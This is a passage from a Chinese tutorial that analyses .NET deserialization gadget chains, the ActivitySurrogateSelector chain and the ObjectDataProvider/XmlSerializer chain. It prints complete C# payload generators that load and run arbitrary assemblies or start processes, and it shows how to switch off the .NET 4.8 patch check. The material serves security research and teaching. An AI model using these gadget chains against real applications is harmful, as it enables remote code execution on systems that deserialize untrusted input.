为Func<TSource, int, bool>
类型的委托。其意义就是Where函数通过调用委托对输入集合里的元素进行筛选，并将筛选出的集合作为结果返回。如果我们把一个查询语句拆分成多个独立的标准查询操作符，那么应当有多个中间集合
，上一个查询操作符返回的集合会作为下一个查询操作符的输入集合。
**LINQ的延迟执行和流处理:**
以如下查询语句为例：
var adultName = from person in people
where person.Age >= 18
select person.Name;
该查询表达式在创建时不会处理任何数据，也不会访问原始的people列表，而是在内存中生成了这个查询的表现形式。判断是否成人以及人到人名的转换都是通过委托实例来表示。只有在访问结果里的第一个元素的时候，Select转换才会为它的第一个元素调用Where转换，如果符合谓词(where的委托参数)，则再调用select转换。(摘自《深入理解C#》)
#### 0x22 替换 LINQ 里的委托
由前面的知识可知，诸如
Where类型的标准查询操作符，有两个输入参数，一个是输入集合，而另一个是会对集合中每一个元素都调用的委托。我们可以替换该委托。但是注意：由于LINQ的延迟执行特点，该委托只有在枚举结果集合时才会调用。
做出假设：构造一个由特殊LINQ语句（替换其委托）产生的结果集合，然后使用第一节中所说的ObjectSurrogate代理器对其进行序列化（LINQ本身无法序列化）。如果我们可以强制对反序列化产生的集合进行枚举，这将触发我们替换的委托，进而执行任意代码。
James Forshaw 设计了一条调用链，借用LINQ 顺序执行以下函数：
byte[] -> Assembly.Load(byte[]) -> Assembly
Assembly -> Assembly.GetType() -> Type[]
Type[] -> Activator.CreateInstance(Type[]) -> object[]
这三个函数有什么特点？与标准查询操作符的委托参数格式上很像。以Select操作符为例：
public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);
该操作符第一个参数source 为输入集合 IEnumerable<TSource>，第二个参数为委托selector，类型为Func<TSource,
TResult>，返回值为集合 IEnumerable<TResult>。
第一步：
我们希望select操作符的第二个参数所指示的委托函数是 _static Assembly Load( byte[] rawAssembly )_
，那么Tsource代表的类型就是byte[]，TResult代表的类型就是Assembly，那么该select的输入集合就是一个IEnumerable<byte[]>类型，输出集合就是一个Ienumerable<Assembly>类型。如下：
List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
data 为一个IEnumerable<byte[]>类型，返回的集合e1 应为 IEnumerable<Assembly> 类型。
第二步：
我们希望select操作符的第二个参数所指示的委托函数是 _public virtual Type[] GetTypes()_
。这一步理想的委托函数应当Func<Assembly, Type>，但是GetTypes() 函数没有输入参数，而且返回的是Type[]类型，怎么办？
我们可以通过反射API 来为实例方法创建一个开放委托。开放委托不仅不会存储对象实例，而且还会增加一个Assembly参数，这正是我们需要的。
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
如果使用Selec操作符，我们希望的是一个返回Type对象的委托，但是GetTypes()
函数返回的是一个Ienumerable<Type>集合？还有其他的操作符可以选择吗？SelectMany 是一个好的选择:
public static IEnumerable<TResult> SelectMany<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, IEnumerable<TResult>> selector);
SelectMany 是一个好的选择，其委托类型为 Func<TSource, IEnumerable<TResult>> ，正符合GetTypes()。
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
返回的集合e2 为 IEnumerable<Type>类型。
第三步：
与第一步类似，我们希望委托函数为： _public static object CreateInstance(Type type)_ ，那么查询语句如下：
Type[] e2 = ...;
var e3 = e2.Select(Activator.CreateInstance);
返回集合e3类型为 IEnumerable<object>。
那么这条链的实现如下：
List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
### 0x30 启动链
现在我们把
Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type)
三个函数都写入了LINQ链里，根据LINQ的延迟执行特点，只有当我们枚举结果集合里的元素时，才会加载程序集并创建类型实例，执行我们的代码。那么问题来了，在反序列化后，如何保证执行枚举操作以启动这条链呢？
James Forshaw 想到的思路是这样的：首先找到一种方法，使得在反序列化时执行ToString() 函数，然后找到一条链从ToString() 到
IEnumerable。
#### 0x31 从ToString 到 IEnumerable
我们先来看是如何从ToString() 到 IEnumerable 的:
IEnumerable -> PagedDataSource -> ICollection
ICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString
代码实现如下：
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
第一步：
使用PagedDataSource类将IEnumerable 类型转换为 ICollection类型，看PagedDataSource 源码如下：
public sealed class PagedDataSource : ICollection, ITypedList {
private IEnumerable dataSource;
private int currentPageIndex;
private int pageSize;
private bool allowPaging;
private bool allowCustomPaging;
private bool allowServerPaging;
private int virtualCount;
...
}
其中的dataSource字段为IEnumerable 类型。
第二步：
将 ICollection 类型转换为 IDictionary 类型
internal class AggregateDictionary : IDictionary
{
private ICollection _dictionaries;
public AggregateDictionary(ICollection dictionaries)
{
_dictionaries = dictionaries;
} // AggregateDictionary
第三步：DesignerVerb 类型的ToString() 函数会枚举 IDictionary，看源码可以理解，如下：
public string Text {
get {
object result = Properties["Text"];
if (result == null) {
return String.Empty;
}
return (string)result;
}
}
public override string ToString() {
return Text + " : " + base.ToString();
}
我们将properties字段设置为dict，当读取Properties["Text"]就会触发后续的动作。
#### 0x32 触发ToString
我们需要找到一种方法在进行反序列化时触发ToString() 函数，进而启动整条链。James Forshaw 想到利用Hashtable。
在对Hashtable 类进行反序列化的时候，它将会重建密钥集。如果两个键相等，则反序列化将失败，并且Hashtable 会引发异常:
源码如下：
// Hashtable.Insert()
// The current bucket is in use
// OR
// it is available, but has had the collision bit set and we have already found an available bucket
if (((buckets[bucketNumber].hash_coll & 0x7FFFFFFF) == hashcode) &&
KeyEquals (buckets[bucketNumber].key, key)) {
if (add) {
throw new ArgumentException(Environment.GetResourceString("Argument_AddingDuplicate__", buckets[bucketNumber].key, key));
}
internal static String GetResourceString(String key, params Object[] values) {
String s = GetResourceString(key);
return String.Format(CultureInfo.CurrentCulture, s, values);
}
可以看到，在GetResourceString 函数里，values 被传给了 String.Format()，由于values
不是string类型，会导致其调用ToSTring() 函数，进而启动整条链，加载自定义程序集并执行任意代码。
通过Hashtable 调用ToString 的代码如下:
// Add two entries to table.
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
代码中通过反射获取Hashtable 的buckets字段值，然后再获取buckets的key字段，然后将第二个key由原来的 "Dummy" 替换为
verb，导致两个元素key值相同，这会导致之前所说的调用key 的 ToString() 函数。
### 0x40 拼图
现在我们要把前面所讲的各个链拼接在一起。
首先，我们要先创建一个程序集，作为被执行的代码，如下：
using System;
using System.Windows.Forms;
namespace ExploitClass
{
public class Exploit
{
public Exploit()
{
try
{
MessageBox.Show("Win!", "Pwned", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch(Exception)
{
}
}
}
}
然后是序列化的代码，如下：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;
namespace ActivitySurrogateSelectorGeneratorTest
{
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
[Serializable]
public class PayloadClass : ISerializable
{
public byte[] GadgetChains()
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
// Build a chain to map a byte array to creating an instance of a class.
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!
List<byte[]> data = new List<byte[]>();
// exp.dll 即为上面生成的程序集
data.Add(File.ReadAllBytes(Path.Combine("./exp.dll")));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(MyGetTypes);
var e3 = e2.Select(Activator.CreateInstance);
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
// Pre-load objects, this ensures they're fixed up before building the hash table.
List<object> ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
Hashtable ht = new Hashtable();
// Add two entries to table.
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
BinaryFormatter fmt1 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, ls);
//info.AddValue("DataSet.Tables_0", stm.ToArray());
/*
BinaryFormatter fmt2 = new BinaryFormatter();
stm.Seek(0, SeekOrigin.Begin);
fmt2.Deserialize(stm);
*/
return stm.ToArray();
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
}
class Program
{
static void Main(string[] args)
{ System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt1 = new BinaryFormatter();
BinaryFormatter fmt2 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
PayloadClass test = new PayloadClass();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, test);
stm.Seek(0, SeekOrigin.Begin);
fmt2.Deserialize(stm);
}
}
}
基本上和我们前面所讲的一致。
特殊的是我们构造了一个PayloadClass类，然后序列化PayloadClass 实例，作为最终的payload。
我们在PayloadClass类的GetObjectData() 函数里设置如下:
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
关键的就是 info.SetType() 和 info.AddValue() 函数的调用。我们之前了解过，GetObjectData用于在序列化时
从对象实例里提取数据。那么这里就相当于序列化的实际上是一个
System.Windows.Forms.AxHost.State类型，并且其PropertyBagBinary
字段被设置为我们生成的payload链。为什么要这么做？为什么要多加一层？
看过AxHost.State源码就明白了：
/**
* Constructor used in deserialization
*/
protected State(SerializationInfo info, StreamingContext context) {
SerializationInfoEnumerator sie = info.GetEnumerator();
if (sie == null) {
return;
}
for (; sie.MoveNext();) {
if (String.Compare(sie.Name, "Data", true, CultureInfo.InvariantCulture) == 0) {
...
}
else if (String.Compare(sie.Name, "PropertyBagBinary", true, CultureInfo.InvariantCulture) == 0) {
try {
Debug.WriteLineIf(AxHTraceSwitch.TraceVerbose, "Loading up property bag from stream...");
byte[] dat = (byte[])sie.Value;
if (dat != null) {
this.propBag = new PropertyBagStream();
propBag.Read(new MemoryStream(dat));
}
}
catch (Exception e) {
Debug.Fail("failure: " + e.ToString());
}
}
}
}
开头注释已经表明，该State函数用于反序列化时的重构。从SerializationInfo里提取 PropertyBagBinary
字段的值并发送给了proBag.Read()函数。我们再来看 propBag.Read 函数：
internal void Read(Stream stream) {
BinaryFormatter formatter = new BinaryFormatter();
try {
bag = (Hashtable)formatter.Deserialize(stream);
}
catch {
// Error reading. Just init an empty hashtable.
bag = new Hashtable();
}
}
很明显了，这里将PropertyBagBinary的值传给了 BinaryFormatter.Deserialize() 。特殊的是反序列化外面加了一个
try catch，这样的好处就是当我们的payload在反序列化时发生的异常不会被转发给上一层。
当然，我们也可以在 GadgetChains() 函数末尾，直接反序列化生成的
payload，一样可以执行代码，只是执行完代码后会报错而已。这也体现了外面再增加一层的作用。
### 0x50 补丁与绕过
在前文代码中，无论是序列化还是反序列化之前，我们都掉调用了以下代码：
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
这是因为从 .NET 4.8 开始，微软修复了ActivitySurrogateSelector
的漏洞。具体细节在ObjectSurrogate.GetObjectData() 函数里：
private sealed class ObjectSurrogate : ISerializationSurrogate
{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
// We only use ObjectSurrogate for ActivityBind and DependecyObject
if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
!(obj is ActivityBind) &&
!(obj is DependencyObject)
)
{
throw new ArgumentException("obj");
}
...
}
}
可以看到这里有一个检查：如果没有设置AppSettings.DisableActivitySurrogateSelectorTypeCheck
标志，且被序列化的类型既不是ActivityBind 又不是 DependencyObject ，则直接抛出异常。
所以我们前面直接使用ConfigurationManager 设置了这个标志位为true，表示关闭检查。但是在实际环境中又该怎么办呢？
Nick Landers 在《[Re-Animating
ActivitySurrogateSelector](https://silentbreaksecurity.com/re-animating-activitysurrogateselector/)》一文中设计了关闭该检查的payload。该payload已被整合到 ysoserial.net
工具中的ActivitySurrogateDisableTypeCheck 部件。
该payload的原理并不复杂，但设计到ObjectDataProvider、Xaml和TextFormattingRunProperties
多个知识点，所以我们将他放到第四章《TextFormattingRunProperties 工具链》里面讲解。
## 三.ObjectDataProvider工具链
> ObjectDataProvider实例在经XmlSerializer之类的工具反序列化时，可以触发执行被包含类型的指定函数。
### 0x10 ObjectDataProvider介绍
ObjectDataProvider的官方介绍是：“包装和创建 **可以用作绑定源的对象** ”。嗯，完全没明白。。。
那么先来一小段代码看一下 ObjectDataProvider的特点：
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
我们将ObjectDataProvider 实例的 ObjectInstance字段设置为一个Process实例，然后将MethodParameters
字段设置为"calc"，然后将MethodName字段设置为"Start"。当你运行完这段代码，你会发现弹出了一个计算器。
看起来是似乎是以 ObjectInstance的值
为对象实例，以MethodParameters的值为方法，以MethodParameters的值为方法参数，进行了一次函数调用。
那么其触发函数执行原理是什么？这么设计的目的又是什么？
#### 0x11 ObjectDataProvider 原理
使用dnspy调试，给要执行的函数下个断点：
查看调用堆栈，可以看到调用路径是 Refresh() -> BeginQuery() -> QueryWorker() ->
InvokeMethodOnInstance() 。
InvokeMethodOnInstance() 函数名已经揭露了一切。查看一下它的代码：
object InvokeMethodOnInstance(out Exception e)
{
object data = null;
string error = null; // string that describes known error
e = null;
Debug.Assert(_objectType != null);
object[] parameters = new object[_methodParameters.Count];
_methodParameters.CopyTo(parameters, 0);
...
try
{
data = _objectType.InvokeMember(MethodName,
s_invokeMethodFlags, null, _objectInstance, parameters,
System.Globalization.CultureInfo.InvariantCulture);
};
...
}
通过反射调用了 MethodName字段中存储的目标函数。
通过调用路径我们知道，InvokeMethodOnInstance() 的调用源自于 Refresh() 函数。我们看一下 Refresh()
在什么情况下被调用：
类似于上面这种，在ObjectType、ObjectInstance、MethodName 属性的set方法中都调用Refresh()
函数。很明显，当我们修改或设置这些属性时，会触发调用Refresh() 函数，以进一步检查是否需要调用MethodName中设置的目标函数。
除了set方法里，还有以下两处地方调用了Refresh() 函数:
下面是ObjectDataProvider 的构造函数：
ParameterCollectionChanged 是一个委托类型：
internal delegate void ParameterCollectionChanged(ParameterCollection parameters);
而ParameterCollection() 类型则继承于 Collection<object> 类型，并且重载了其ClearItems()、
InsertItem()、RemoveItem()、SetItem()方法，在其中添加了对 OnCollectionChanged()的调用：
这样当ParameterCollection实例（如字段_methodParameters）调用Add方法时，就会调用InsertItem()
函数，进而调用OnCollectionChanged() 函数，再进而调用Refresh() 函数，然后就会检查是否需要执行目标函数了。
#### 0x12 ObjectDataProvider 正常用法
看完ObjectDataProvider的特点和原理，我不禁要问这个类到底是用来干什么的？所谓 “包装和创建 可以用作绑定源的对象” 是什么意思？
首先推荐看这篇[《WPF之Binding深入探讨》](https://blog.csdn.net/fwj380891124/article/details/8107646)，看完后会对绑定有一个具体的理解。下面我来做一个简陋的总结：
我们以UI界面显示数据为例：数据源是相对于UI界面来说的。一个UI界面需要展示数据，该数据可能来自于某个类的某个属性。为了让该属性在变化时自动反映在UI界面上，我们采用Binding的方式将数据源与目标进行绑定。Biinding是一种自动机制，会监听数据源的PropertyChanged事件。当数据源的值发生变化时，就会激发PropertyChanged事件，Binding接收到事件后就会通知Binding的目标端（即UI界面）展示新的值。
如果数据源不是通过属性，而是通过方法暴漏给外界的时候，我们就使用ObjectDataProvider将其包装为数据源。所以ObjectDataProvider
会监测 MethodParameters 属性的修改，同时也会监测ObjectType、ObjectInstance、MethodName
的修改，以对方法的变化随时做出响应。当以上这些属性修改时，就会重新调用目标函数。
通过上面简陋的描述，我们算是对ObjectDataProvider 有了一个具体的认识：我们使用ObjectDataProvider
指定某个实例的某个方法，当添加或修改methodParameters
时就会触发执行目标函数了。如果我们在反序列化时也能触发目标函数的调用，就可以实现代码执行了。
### 0x20 序列化 ObjectDataProvider
#### 0x21 不成功的尝试
> 尽管前辈们早已做出了完整的ObjectDataProvider利用链，但我还是想再做一些蹩脚的尝试。
首先我们知道 ObjectDataProvider类没有 [Seriable] 特性，所以它是一个不可序列化类，不能使用BinaryFormatter
之类的工具进行序列化（当然我们还可以使用XmlSerializer之类的工具进行序列化）。但我们在上一篇关于ActivitySurrogateSelectorGenerator工具链的文章中知道，使用
ObjectSurrogate 作为代理器可以序列化原本不可序列化的类。那如果我们使用这种方式去序列化 ObjectDataProvider
会怎么样呢？测试代码如下：
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
static void Surrogatetest()
{
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, objDat);
stm.Position = 0;
var fmt2 = new BinaryFormatter();
ObjectDataProvider result = (ObjectDataProvider)fmt2.Deserialize(stm);
//result.Refresh();
}
这里我直接用ObjectDataProvider封装了一个 Process
实例，并以“calc"为参数调用其Start函数。序列化能正常进行，反序列化也可以正常完成，但遗憾的是在反序列化完成后没有触发Start
函数的调用。根据前面的分析，我们可以猜测到应该是没有调用Refresh() 函数导致的，那么我们就需要调试一下看看BinaryFormatter
在反序列化时是如何给字段赋值的。
可以看到，这里的rtFieldInfo 指向了 ObjectDataProvider 的 _mehodName 字段，直接通过UnsafeSetValue
设置该字段的值。由于不是通过原始的属性或者Add方法添加值，导致了无法触发 Refresh() 函数，也就无法调用目标函数了。
#### 0x22 使用XmlSerializer进行序列化
**先了解一下XmlSerializer 的一般用法。**
下面是我们自己写的一个Claculator类，我们使用XmlSerializer 序列化其实例。
[XmlRoot]
public class Calculator
{
private string _name;
[XmlAttribute]
public string Name { get => _name; set => _name = value; }
public int Test(string arg1, string arg2)
{
Console.WriteLine("hello world\n");
return 1;
}
}
序列化代码：
static void normalXml()
{
var cal = new Calculator();
cal.Name = "test";
TextWriter fs = new StreamWriter("./xmlser.txt");
XmlSerializer serializers = new XmlSerializer(typeof(Calculator));
serializers.Serialize(fs, cal);
fs.Close();
var fr = new FileStream("./xmlser.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(Calculator));
var result = (Calculator)deserializers.Deserialize(fr);
Console.WriteLine(result.Name);
fr.Close();
}
上面的代码中我们以一个Calculator 实例为目标对象，对其进行序列化和反序列化。
这里有一个关键点就是以 XmlSerializer.XmlSerializer(Type)
的方式初始化XmlSerializer实例，需要传入被序列化对象的类型。根据官方文档，在使用这种构造函数时， _XML
序列化基础结构会动态生成程序集以序列化和反序列化指定的类型_ 。
在初始化XmlSerializer实例时，传入的Type类型参数保证了XmlSerializer
对序列化中涉及到的类型都已知，并生成相应的动态程序集。但是假如序列化目标对象的某个字段实际值是该字段声明类型的派生类型，比如，某字段声明为object类型（我们知道c#里所有类型都继承于object类型），然而实际值为其他类型，就会导致报错。下面我们序列化ObjectDataProvider
的时候就会遇到这种情况。
**我们的目标是使用ObjectDataProvider 封装Calculator 实例，并在反序列化时自动触发Calculator 的Test 函数**
，下面是测试代码（为什么不直接用ObjectDataProvider 封装 System.Diagnostics.Process
实例？因为使用XmlSerializer 序列化时会报接口无法序列化的错误）:
static void test()
{
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new Calculator();
objDat.MethodParameters.Add("test1");
objDat.MethodParameters.Add("test2");
objDat.MethodName = "Test";
TextWriter fs = new StreamWriter("./xmlser.txt");
XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider));
serializers.Serialize(fs, objDat);
fs.Close();
var fr = new FileStream("./xmlser.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(ObjectDataProvider));
var result = deserializers.Deserialize(fr);
fr.Close();
}
我们以ObjectDataProvider实例作为序列化目标对象，并且在初始化XmlSerializer时传入ObjectDataProvider类型。但是在执行时会报如下错误：
原因便是ObjectInstance 字段声明为object类型，但实际值为Calculator 类型，导致生成的动态程序集无法完成序列化：
这时有两种解决方法：
第一种就是使用XmlSirializer 其他的构造函数，使用以下语句进行初始化：
Type[] types = new Type[] { typeof(Calculator) };
XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider), types);
传给构造函数的第二个参数表示要序列化的其他对象类型的 Type
数组。但是这种解决方法不适合反序列化漏洞利用，我们无法保证目标程序使用这种构造函数，也无法保证我们可以控制两个参数。
第二种就是找一个封装类型。比如下面这样的：
public class Wrapper<A, B>
{
public A contentA{ get; set; }
public B contentB{ get; set; }
}
Wrapper是一个我们自己设想的类型，它使用了泛型的用法，这样我们可以任意设置它的两个属性的类型为我们需要的目标类型。在以typeof(Wrapper)
为参数初始化 XmlSerializer 时，就保证了传入需要的所有类型。测试代码如下：
static void ExpandTest()
{
Wrapper<Calculator, ObjectDataProvider> wrapper = new Wrapper<Calculator, ObjectDataProvider>();
wrapper.contentB= new ObjectDataProvider();
wrapper.contentB.ObjectInstance = new Calculator();
wrapper.contentB.MethodName = "Test";
wrapper.contentB.MethodParameters.Add("first");
wrapper.contentB.MethodParameters.Add("second");
Console.WriteLine(typeof(Wrapper<Calculator, ObjectDataProvider>));
TextWriter fs = new StreamWriter("./ExpandTest.txt");
XmlSerializer serializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
serializers.Serialize(fs, wrapper);
fs.Close();
FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
deserializers.Deserialize(fr);
fr.Close();
}
上面的代码在反序列化时可以正常触发Calculator 的 Test函数。
在现实中，与我们设想的封装类型相似的就是 ExpandedWrapper类
[EditorBrowsable(EditorBrowsableState.Never)]
public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
{
public ExpandedWrapper();
public TProperty0 ProjectedProperty0 { get; set; }
protected override object InternalGetExpandedPropertyValue(int nameIndex);
}
相似的封装过程如下：
static void ExpandTest()
{
ExpandedWrapper<Calculator, ObjectDataProvider> wrapper = new ExpandedWrapper<Calculator, ObjectDataProvider>();
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new Calculator();
wrapper.ProjectedProperty0.MethodName = "Test";
wrapper.ProjectedProperty0.MethodParameters.Add("first");
wrapper.ProjectedProperty0.MethodParameters.Add("second");
TextWriter fs = new StreamWriter("./ExpandTest.txt");
Console.WriteLine(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
XmlSerializer serializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
serializers.Serialize(fs, wrapper);
fs.Close();
FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
deserializers.Deserialize(fr);
fr.Close();
}
> 在第一次看到使用 ExpandedWrapper 来封装时，我很奇怪到底是什么在起作用使得XmlSerializer
> 能够正常序列化下去，后来才发现只是因为它是一个有两个类型参数的泛型类。假如需要，我们还可以找有3个、4个类型参数的泛型类，比如：
>
> ExpandedWrapper ExpandedWrapper
>
> 这个类最多支持8个类型参数
此时有一个问题无法忽略，为什么XmlSerializer 可以在反序列化ObjectDataProvider
的时候触发函数执行？之前用BinaryFormatte 时明明还不可以，根据我们对ObjectDataProvider
的了解，难道是反序列化时使用了Add方法去添加参数？
#### 0x23 XmlSerializer反序列化细节
XmlSerializer 在初始化的时候会自动生成一个动态程序集加载在内容中，并调用该程序集里自动生成的代码完成反序列化过程。下面便是该程序集：
可以看到动态程序集里有一个XmlSerializationReaderExpandedWrapper2 类，专门用于在反序列化时读取数据。
相应的，也有一个XmlSerializationWriterExpandedWrapper2 类专门用于在序列化时写入数据。
下面我们看一下反序列化的过程：
在Read8_Item() 函数里，直接初始化了一个 ExpendedWrapper
实例，目前它还是空的，但是后续会往里填数据。这个实例就是反序列化生成的实例。
仍旧是在Read8_Item() 函数里， 这里调用Read7_ObjectDataProvider() 函数生成一个ObjectDataProvider
实例，并赋给了expandedWrapper 的 ProjectedProperty0 字段。所以Read7_ObjectDataProvider()
肯定是用于读取数据并初始化一个ObjectDataProvider实例，跟进去：
忽略无关的部分，我们可以看到，这里是通过Add方法来向MethodParameters 里添加参数的。
该Add方法会进入Collection 的Add方法，然后调用InsertItem()
，然后调用前面说过的OnCollectionChanged函数，然后就会调用Refresh()函数，进而检查是否需要调用目标 Test()
函数。当Add第二个参数时，就会调用Test 函数。
所以以上就是XmlSerializer 可以在反序列化ObjectDataProvider时触发函数执行的原因。
#### 0x24 替换Claculator类
前面我们已经可以在反序列化时触发执行Calculator 类的Test 方法。但是现实中的目标环境是没有Calculator
类的，我们必须找到一个普遍使用的类，并且调用其某个函数（传给该函数的参数可控），可以实现代码执行（最理想的应当是Process类，但是它不能用）。
替换方案有多种选择，ysoserial.NET 里提供了LosFormatter 和 XamlReader 两种方式。
但是我仔细看了一下，发现它的思路是这样的，将Calculator 类替换为 LosFormatter 或者 XamlReader类，将要调用的函数指定为
